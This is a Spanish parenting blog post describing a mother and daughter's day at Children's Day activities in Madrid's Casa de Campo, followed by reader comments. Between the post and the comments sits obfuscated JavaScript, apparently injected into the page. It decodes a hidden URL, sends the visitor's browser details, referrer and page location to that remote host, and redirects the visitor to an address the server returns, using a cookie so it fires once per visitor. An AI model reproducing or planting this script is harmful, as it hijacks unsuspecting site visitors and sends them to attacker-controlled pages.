“Mamá, ¿por qué hay niños que no tienen juguetes?”, me preguntó mi hija Elena el sábado por la mañana mientras tomaba su zumo de naranja y su tostada con queso de untar. Y salió con esas porque este fin de semana disfrutamos de las actividades programadas para el #Diadelainfancia en el Pabellón de Cristal de la Casa de Campo (Madrid) y teníamos la oportunidad de colaborar llevando alimentos destinados a la acción social de Cáritas y/o juguetes para la ONG Heal the World for Children. Optamos por esta segunda opción y rebuscando entre sus cosas, seleccionamos tres juguetes: dos puzles y un libro. “Estos ya nos los uso, mami”, me dijo y nos pusimos rumbo a nuestra cita.
Primera parada: Juega y diviértete con Nenuco Chef Decora. Allí pudimos pintar nuestro propio gorro de chef, nos dieron un diploma a la mejor chef y, lo mejor, un libro de recetas para hacer en casa. Intentaremos probar algunas, pero lo nuestro no es la cocina, ¡glups!
Segunda parada: Circuito de obstáculos con ayuda de soldados del ejército. ¡Una pasada! A mí me dieron ganas de hacerlo, pero no tenía la edad. ¿Por qué no había estas cosas cuando nosotros éramos peques?
Tercera parada: Fotos con algunos de sus personajes favoritos de sus series favoritas de la televisión, como los protagonistas de Peppa Pig y La magia de Chloe. Un recuerdo para enmarcar.
Cuarta parada: Juego de la oca con dado gigante. Estaba dentro de las actividades del Samur y cada casilla estaba relacionado con primeros auxilios. La verdad es que fue muy divertido y los organizadores eran muy cariñosos con los enanos. Además, aquí no había perdedores, ¡ganaban todos!
Quinta parada: Taller de catering para crear brochetas con gominolas y frutas. Elena hizo una muy rica con mandarinas, nubes y uvas, y como ella no es nada golosa, al final quien se la comió fui yo. ¡Un manjar delicioso para matar el hambre de mediamañana!
Y por último, pintacaras de Frozen. Bueno, se podía elegir entre el personaje de Disney y una mariposa, pero creo todas las niñas escogieron a Elsa. Sin duda, es la reina de Arendelle y de los corazones de miles de niñas.
Al final nos volvimos a casa con nuestro objetivo cumplido: Diversión y solidaridad en un mismo plan. Ojalá se celebrasen más eventos de este estilo. Elena y yo iríamos a todos. var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = «»; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}
Me encanta, me recuerda a Juvenalia
¡También estaremos en Juvenalia! Esta vez con otro producto de Nenuco «Doctora, Por qué llora». Los niñ@s podrán hacer actividades y obtener un diploma en la Academia Doctora, Por qué llora. Os esperamos
Me encanta! Mi nena es aun un poco pequeña para estas cosas… pero para el año que viene que ya tendrá 3… Si se repite vamos de cabeza!
Me parece una idea perfecta para pasar el día con los niños! Elena aprende valores fundamentales en la vida y Lidia nos deleita con su talento para escribir y contarnos cosas. Esperamos tus próximos relatos!